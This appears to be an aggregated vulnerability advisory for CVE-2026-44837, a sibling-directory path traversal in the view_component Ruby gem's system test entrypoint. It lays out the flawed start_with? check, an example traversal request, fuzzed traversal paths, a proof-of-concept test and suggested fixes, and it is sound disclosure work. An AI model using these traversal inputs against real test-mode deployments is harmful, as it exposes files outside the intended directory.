CVE-2026-44837: view_component System Test Entry Point Path Vulnerability

MODERATE
Advisory Identifier: GHSA-hg3h-g7xc-f7vp
CVSS 5.9
CWE-187 CWE-22
Published
Advisory Summary

CVE-2026-44837 is a MODERATE (CVSS 5.9) system test entry point path vulnerability (CWE-187: Partial String Comparison) affecting view_component libraries in the RubyGems ecosystem. The issue involves system test entry point path check allows sibling directory escape. Remediation is available by upgrading affected packages to version 4.9.0.

CVE-2026-44837 at a Glance

CVE Identifier CVE-2026-44837
GHSA Identifier GHSA-hg3h-g7xc-f7vp
Severity MODERATE
CVSS v3.1 Base Score 5.9
CWE Classification CWE-187: Partial String Comparison
Affected Product view_component
Package Ecosystem RubyGems
Published Date
Last Updated

Security Impact

CVSS: 5.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-44837

To remediate this vulnerability, upgrade all affected view_component dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

view_component fixed: 4.9.0
Upgrade view_component to 4.9.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for view_component

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-44837, inspect your project dependencies for view_component:

inspect dependencies for view_component

Analyze the terminal output to locate any version of view_component in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.9.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-187: Partial String Comparison, where the product performs a comparison that only examines a portion of a factor before determining whether there is a match, such as a substring, leading to resultant weaknesses. In view_component, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The system test entrypoint canonicalizes a user-controlled file path with `File.realpath`, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix. Severity: Medium; test-route scoped. Example: ```text Allowed base: /app/tmp/view_components Outside path: /app/tmp/view_components_evil/secret.html.erb ``` The outside path is not inside the base directory, but it passes: ```ruby @path.start_with?(base_path) ``` ### Relevant Code `app/controllers/view_components_system_test_controller.rb`: ```ruby base_path = ::File.realpath(self.class.temp_dir) @path = ::File.realpath(params.permit(:file)[:file], base_path) raise ViewComponent::SystemTestControllerNefariousPathError unless @path.start_with?(base_path) ``` The route then renders the resolved file: ```ruby render file: @path ``` ### Exploit Flow Example request: ```text GET /_system_test_entrypoint?file=../view_components_evil/secret.html.erb ``` Flow: 1. `base_path` resolves to `.../tmp/view_components`. 2. The payload resolves to `.../tmp/view_components_evil/secret.html.erb`. 3. That path is outside the intended temp directory. 4. The string prefix check still passes. 5. Rails renders the sibling file. The route is mounted only in `Rails.env.test?`, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment. ### Targeted Fuzz Result The following sibling paths passed an equivalent `realpath` plus `start_with?` harness while resolving outside the base directory: ```text ../view_components_evil/secret.html ../view_components2/poc.html ../view_components.bak/poc.html ../view_components-old/poc.html ../view_componentsx/poc.html ``` ### PoC Test Create `test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb`: ```ruby # frozen_string_literal: true require "test_helper" require "fileutils" class SystemTestEntrypointPathTraversalPocTest < ActionDispatch::IntegrationTest def test_system_test_entrypoint_allows_sibling_directory_with_same_prefix base_dir = File.realpath(ViewComponentsSystemTestController.temp_dir) parent_dir = File.dirname(base_dir) sibling_dir = File.join(parent_dir, "#{File.basename(base_dir)}_evil") outside_file = File.join(sibling_dir, "secret.html.erb") FileUtils.mkdir_p(sibling_dir) File.write(outside_file, "<div>VC_SYSTEM_TEST_TRAVERSAL_POC</div>") get "/_system_test_entrypoint", params: { file: "../#{File.basename(base_dir)}_evil/secret.html.erb" } assert_response :success assert_includes response.body, "VC_SYSTEM_TEST_TRAVERSAL_POC" ensure FileUtils.rm_f(outside_file) if defined?(outside_file) && outside_file Dir.rmdir(sibling_dir) if defined?(sibling_dir) && sibling_dir && Dir.exist?(sibling_dir) end end ``` Run: ```bash bundle exec ruby -Itest test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb ``` Vulnerable behavior: the response succeeds and contains `VC_SYSTEM_TEST_TRAVERSAL_POC`. Fixed behavior: the request raises `ViewComponent::SystemTestControllerNefariousPathError` or otherwise fails without rendering the file. ### Suggested Fix Use path-aware containment instead of a raw string prefix. For example: ```ruby def validate_file_path base_path = Pathname.new(::File.realpath(self.class.temp_dir)) path = Pathname.new(::File.realpath(params.permit(:file)[:file], base_path.to_s)) relative_path = path.relative_path_from(base_path) raise ViewComponent::SystemTestControllerNefariousPathError if relative_path.each_filename.first == ".." @path = path.to_s end ``` Or require a separator boundary: ```ruby allowed_prefix = "#{base_path}#{File::SEPARATOR}" unless @path == base_path || @path.start_with?(allowed_prefix) raise ViewComponent::SystemTestControllerNefariousPathError end ``` Add regression tests for: - A normal temp file inside `tmp/view_components` - `../../README.md` - `../view_components_evil/secret.html.erb` - A symlink inside the temp directory that resolves outside it

CVE-2026-44837 Affected view_component Versions

1 component(s)
Fixed Versions:
4.9.0
Product / Package Ecosystem Affected Versions Fixed Version
view_component
RubyGems
≥ 3.0.0
< 4.9.0
4.9.0

References

Frequently Asked Questions

What is CVE-2026-44837?
CVE-2026-44837 is a security vulnerability in view_component involving System Test Entry Point Path Check Allows Sibling Directory Escape under CWE-187: Partial String Comparison.
Which view_component versions are affected?
Affected versions include releases prior to 4.9.0 across affected packages: view_component.
What version fixes CVE-2026-44837?
Upgrading to 4.9.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is view_component affected?
Yes, view_component is affected in releases prior to 4.9.0. Upgrade your dependency to 4.9.0 or later.
What is the CVSS score of CVE-2026-44837?
CVE-2026-44837 has a CVSS v3.1 base score of 5.9 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-44837?
CVE-2026-44837 is classified under CWE-187: Partial String Comparison (The product performs a comparison that only examines a portion of a factor before determining whether there is a match, such as a substring, leading to resultant weaknesses.).
How can I check RubyGems dependencies for CVE-2026-44837?
Run the dependency tree command: 'inspect dependencies for view_component'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hg3h-g7xc-f7vp",
  "modified" : "2026-06-08T23:34:32Z",
  "published" : "2026-05-08T23:33:58Z",
  "aliases" : [ "CVE-2026-44837" ],
  "summary" : "view_component: System Test Entry Point Path Check Allows Sibling Directory Escape",
  "details" : "### Summary\n\nThe system test entrypoint canonicalizes a user-controlled file path with `File.realpath`, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix.\n\nSeverity: Medium; test-route scoped.\n\nExample:\n\n```text\nAllowed base:  /app/tmp/view_components\nOutside path:  /app/tmp/view_components_evil/secret.html.erb\n```\n\nThe outside path is not inside the base directory, but it passes:\n\n```ruby\n@path.start_with?(base_path)\n```\n\n### Relevant Code\n\n`app/controllers/view_components_system_test_controller.rb`:\n\n```ruby\nbase_path = ::File.realpath(self.class.temp_dir)\n@path = ::File.realpath(params.permit(:file)[:file], base_path)\nraise ViewComponent::SystemTestControllerNefariousPathError unless @path.start_with?(base_path)\n```\n\nThe route then renders the resolved file:\n\n```ruby\nrender file: @path\n```\n\n### Exploit Flow\n\nExample request:\n\n```text\nGET /_system_test_entrypoint?file=../view_components_evil/secret.html.erb\n```\n\nFlow:\n\n1. `base_path` resolves to `.../tmp/view_components`.\n2. The payload resolves to `.../tmp/view_components_evil/secret.html.erb`.\n3. That path is outside the intended temp directory.\n4. The string prefix check still passes.\n5. Rails renders the sibling file.\n\nThe route is mounted only in `Rails.env.test?`, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment.\n\n### Targeted Fuzz Result\n\nThe following sibling paths passed an equivalent `realpath` plus `start_with?` harness while resolving outside the base directory:\n\n```text\n../view_components_evil/secret.html\n../view_components2/poc.html\n../view_components.bak/poc.html\n../view_components-old/poc.html\n../view_componentsx/poc.html\n```\n\n### PoC Test\n\nCreate `test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb`:\n\n```ruby\n# frozen_string_literal: true\n\nrequire \"test_helper\"\nrequire \"fileutils\"\n\nclass SystemTestEntrypointPathTraversalPocTest < ActionDispatch::IntegrationTest\n  def test_system_test_entrypoint_allows_sibling_directory_with_same_prefix\n    base_dir = File.realpath(ViewComponentsSystemTestController.temp_dir)\n    parent_dir = File.dirname(base_dir)\n    sibling_dir = File.join(parent_dir, \"#{File.basename(base_dir)}_evil\")\n    outside_file = File.join(sibling_dir, \"secret.html.erb\")\n\n    FileUtils.mkdir_p(sibling_dir)\n    File.write(outside_file, \"<div>VC_SYSTEM_TEST_TRAVERSAL_POC</div>\")\n\n    get \"/_system_test_entrypoint\", params: {\n      file: \"../#{File.basename(base_dir)}_evil/secret.html.erb\"\n    }\n\n    assert_response :success\n    assert_includes response.body, \"VC_SYSTEM_TEST_TRAVERSAL_POC\"\n  ensure\n    FileUtils.rm_f(outside_file) if defined?(outside_file) && outside_file\n    Dir.rmdir(sibling_dir) if defined?(sibling_dir) && sibling_dir && Dir.exist?(sibling_dir)\n  end\nend\n```\n\nRun:\n\n```bash\nbundle exec ruby -Itest test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb\n```\n\nVulnerable behavior: the response succeeds and contains `VC_SYSTEM_TEST_TRAVERSAL_POC`.\n\nFixed behavior: the request raises `ViewComponent::SystemTestControllerNefariousPathError` or otherwise fails without rendering the file.\n\n### Suggested Fix\n\nUse path-aware containment instead of a raw string prefix. For example:\n\n```ruby\ndef validate_file_path\n  base_path = Pathname.new(::File.realpath(self.class.temp_dir))\n  path = Pathname.new(::File.realpath(params.permit(:file)[:file], base_path.to_s))\n  relative_path = path.relative_path_from(base_path)\n\n  raise ViewComponent::SystemTestControllerNefariousPathError if relative_path.each_filename.first == \"..\"\n\n  @path = path.to_s\nend\n```\n\nOr require a separator boundary:\n\n```ruby\nallowed_prefix = \"#{base_path}#{File::SEPARATOR}\"\nunless @path == base_path || @path.start_with?(allowed_prefix)\n  raise ViewComponent::SystemTestControllerNefariousPathError\nend\n```\n\nAdd regression tests for:\n\n- A normal temp file inside `tmp/view_components`\n- `../../README.md`\n- `../view_components_evil/secret.html.erb`\n- A symlink inside the temp directory that resolves outside it",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "view_component"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "4.9.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ViewComponent/view_component/security/advisories/GHSA-hg3h-g7xc-f7vp"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44837"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ViewComponent/view_component"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/view_component/CVE-2026-44837.yml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-187", "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-08T23:33:58Z",
    "nvd_published_at" : "2026-05-26T21:16:38Z"
  }
}